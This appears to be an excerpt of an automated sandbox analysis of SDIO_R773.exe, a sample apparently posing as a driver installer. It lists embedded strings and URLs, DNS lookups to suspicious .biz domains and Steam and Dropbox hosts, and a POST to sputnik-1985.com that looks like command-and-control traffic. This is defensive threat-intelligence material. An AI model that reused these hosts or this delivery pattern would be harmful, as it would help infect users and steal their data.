https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js 'nonce-SIs+rPrP3KYvK5g0EjVvZjT67gE=' ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: equals www.yahoo.com (Yahoo)
Source: SDIO_R773.exe, 00000000.00000002.2066797770.0000000000D06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: :27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.co equals www.youtube.com (Youtube)
Source: SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; frame-ancestors 'self' https://.dropbox.com ; base-uri 'self' ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; media-src https://* blob: ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; frame-src https:// carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; font-src https://* data: ; img-src https://* data: blob: ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js 'nonce-SIs+rPrP3KYvK5g0EjVvZjT67gE=' ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: equals www.yahoo.com (Yahoo)
Source: SDIO_R773.exe, 00000000.00000003.2060608569.000000000488D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: X-Dropbox-Request-Id79515ab1b4684a798833d4306d5120c7X-Dropbox-Response-Originfar_remoteX-Xss-Protection1; mode=blockX-Robots-Tagnoindex, nofollow, noimageindexX-Permitted-Cross-Domain-PoliciesnoneX-Content-Type-OptionsnosniffReferrer-Policystrict-origin-when-cross-originContent-Security-Policyreport-uri https://www.dropbox.com/csp_log?policy_name=metaserver-dynamic ; script-src 'unsafe-eval' 'strict-dynamic' 'nonce-SIs+rPrP3KYvK5g0EjVvZjT67gE=' 'nonce-Or+ZDAYwRQ2id8utyu+MWkyzUbI='Content-Security-Policyform-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; frame-ancestors 'self' https://.dropbox.com ; base-uri 'self' ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; media-src https://* blob: ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; frame-src https:// carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; font-src https://* data: ; img-src https://* data: blob: ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js 'nonce-SIs+rPrP3KYvK5g0EjVvZjT67gE=' ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/en
Source: SDIO_R773.exe, 00000000.00000003.2060608569.000000000488D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; frame-ancestors 'self' https://.dropbox.com ; base-uri 'self' ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; media-src https://* blob: ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; frame-src https:// carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; font-src https://* data: ; img-src https://* data: blob: ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js 'nonce-SIs+rPrP3KYvK5g0EjVvZjT67gE=' ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: equals www.yahoo.com (Yahoo)
Source: SDIO_R773.exe, 00000000.00000003.1816198825.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: om/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://playX equals www.youtube.com (Youtube)
Source: SDIO_R773.exe, 00000000.00000003.1816198825.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: s://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-sr equals www.youtube.com (Youtube)
Source: SDIO_R773.exe, 00000000.00000002.2066797770.0000000000D06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ww.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: punishzement.biz
Source: global traffic	DNS traffic detected: DNS query: fraggielek.biz
Source: global traffic	DNS traffic detected: DNS query: grandiouseziu.biz
Source: global traffic	DNS traffic detected: DNS query: littlenotii.biz
Source: global traffic	DNS traffic detected: DNS query: marketlumpe.biz
Source: global traffic	DNS traffic detected: DNS query: nuttyshopr.biz
Source: global traffic	DNS traffic detected: DNS query: spookycappy.biz
Source: global traffic	DNS traffic detected: DNS query: truculengisau.biz
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: sputnik-1985.com
Source: global traffic	DNS traffic detected: DNS query: www.dropbox.com
Source: global traffic	DNS traffic detected: DNS query: uca3ce58b2740dd4c68b9a7532f7.dl.dropboxusercontent.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: sputnik-1985.com

Source: global traffic

HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Sat, 11 Jan 2025 10:56:12 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Tzbaan%2BbMZdyza9E272uibNSfg7z6UnnCwAGXLx0u7W4u5ZuO4Y5bIz4JqTcM3eNkZKRC12A0S83xHaYDRgPB6nAfihUeGTeFK08wuc3QVp6Kj8FuB4uPxotxq5PpGxf%2BK3a"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 900460ffcfa77c6a-EWR

Source: SDIO_R773.exe, 00000000.00000002.2066797770.0000000000D06000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1816198825.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: SDIO_R773.exe, 00000000.00000003.1969345473.0000000004817000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: SDIO_R773.exe, 00000000.00000003.1969345473.0000000004817000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: SDIO_R773.exe	String found in binary or memory: http://cevcsca2021.crl.certum.pl/cevcsca2021.crl0w
Source: SDIO_R773.exe	String found in binary or memory: http://cevcsca2021.ocsp-certum.com07
Source: SDIO_R773.exe	String found in binary or memory: http://crl.certum.pl/ctnca.crl0k
Source: SDIO_R773.exe	String found in binary or memory: http://crl.certum.pl/ctnca2.crl0l
Source: SDIO_R773.exe	String found in binary or memory: http://crl.certum.pl/ctsca2021.crl0o
Source: SDIO_R773.exe, 00000000.00000003.1969345473.0000000004817000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: SDIO_R773.exe, 00000000.00000003.1969345473.0000000004817000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: SDIO_R773.exe, 00000000.00000003.1969345473.0000000004817000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: SDIO_R773.exe, 00000000.00000003.1969345473.0000000004817000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: SDIO_R773.exe, 00000000.00000003.1969345473.0000000004817000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: SDIO_R773.exe	String found in binary or memory: http://fsf.org/
Source: SDIO_R773.exe, 00000000.00000003.1969345473.0000000004817000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: SDIO_R773.exe, 00000000.00000003.1969345473.0000000004817000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: SDIO_R773.exe	String found in binary or memory: http://repository.certum.pl/cevcsca2021.cer0
Source: SDIO_R773.exe	String found in binary or memory: http://repository.certum.pl/ctnca.cer09
Source: SDIO_R773.exe	String found in binary or memory: http://repository.certum.pl/ctnca2.cer09
Source: SDIO_R773.exe	String found in binary or memory: http://repository.certum.pl/ctsca2021.cer0A
Source: SDIO_R773.exe	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: SDIO_R773.exe	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D5F000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D5F000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1816198825.0000000000D25000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D5F000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1816198825.0000000000D25000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: SDIO_R773.exe	String found in binary or memory: http://subca.ocsp-certum.com01
Source: SDIO_R773.exe	String found in binary or memory: http://subca.ocsp-certum.com02
Source: SDIO_R773.exe	String found in binary or memory: http://subca.ocsp-certum.com05
Source: Amcache.hve.0.dr	String found in binary or memory: http://upx.sf.net
Source: SDIO_R773.exe	String found in binary or memory: http://www.certum.pl/CPS0
Source: SDIO_R773.exe	String found in binary or memory: http://www.gnu.org/licenses/
Source: SDIO_R773.exe	String found in binary or memory: http://www.gnu.org/philosophy/why-not-lgpl.html
Source: SDIO_R773.exe	String found in binary or memory: http://www.snappy-driver-installer.org/downloads/SDIO_Update.torrenthttp://www.snappy-driver-install
Source: SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: SDIO_R773.exe, 00000000.00000003.1969345473.0000000004817000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: SDIO_R773.exe, 00000000.00000003.1969345473.0000000004817000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/
Source: SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://a.sprig.com/
Source: SDIO_R773.exe, 00000000.00000003.1828364146.000000000481E000.00000004.00000800.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1828478949.000000000481E000.00000004.00000800.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1828082972.0000000004821000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/
Source: SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/gsi/client
Source: SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.login.yahoo.com/
Source: SDIO_R773.exe, 00000000.00000003.1816198825.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://app.hellofax.com/
Source: SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://app.hellosign.com/
Source: SDIO_R773.exe, 00000000.00000003.2060690165.0000000000D21000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000002.2069109357.000000000488B000.00000004.00000800.00020000.00000000.sdmp, NOUBJXTSUL2YOW34.exe.0.dr	String found in binary or memory: https://assets.dropbox.com/www/en-us/illustrations/spot/target-miss.svg
Source: SDIO_R773.exe, 00000000.00000003.2060690165.0000000000D21000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cd
Source: SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: SDIO_R773.exe, 00000000.00000002.2066797770.0000000000D06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://canny.io/sdk.js
Source: SDIO_R773.exe, 00000000.00000003.1828364146.000000000481E000.00000004.00000800.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1828478949.000000000481E000.00000004.00000800.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1828082972.0000000004821000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: SDIO_R773.exe, 00000000.00000003.1816198825.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.fastly.(
Source: SDIO_R773.exe, 00000000.00000002.2066797770.0000000000D06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/
Source: SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cfl.dropboxstatic.com/static/
Source: SDIO_R773.exe, 00000000.00000003.2060690165.0000000000D21000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000002.2069109357.000000000488B000.00000004.00000800.00020000.00000000.sdmp, NOUBJXTSUL2YOW34.exe.0.dr	String found in binary or memory: https://cfl.dropboxstatic.com/static/images/favicon.ico
Source: SDIO_R773.exe, 00000000.00000003.2060690165.0000000000D21000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000002.2069109357.000000000488B000.00000004.00000800.00020000.00000000.sdmp, NOUBJXTSUL2YOW34.exe.0.dr	String found in binary or memory: https://cfl.dropboxstatic.com/static/metaserver/static/css/error.css
Source: SDIO_R773.exe, 00000000.00000003.1828364146.000000000481E000.00000004.00000800.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1828478949.000000000481E000.00000004.00000800.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1828082972.0000000004821000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: SDIO_R773.exe, 00000000.00000003.1828364146.000000000481E000.00000004.00000800.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1828478949.000000000481E000.00000004.00000800.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1828082972.0000000004821000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: SDIO_R773.exe, 00000000.00000003.1816198825.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampow
Source: SDIO_R773.exe, 00000000.00000002.2066797770.0000000000D06000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1816198825.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: SDIO_R773.exe, 00000000.00000002.2066797770.0000000000D06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com
Source: SDIO_R773.exe, 00000000.00000003.1816198825.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/
Source: SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D5F000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1816198825.0000000000D25000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=SCXpgixTDzt4&a
Source: SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c
Source: SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp
Source: SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a
Source: SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng
Source: SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis
Source: SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D5F000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1816198825.0000000000D25000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D5F000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1816198825.0000000000D25000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D5F000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1816198825.0000000000D25000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D5F000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1816198825.0000000000D25000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=M_FULq_A
Source: SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D5F000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1816198825.0000000000D25000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=lviE
Source: SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am
Source: SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=gQHVlrK4-jX-&l
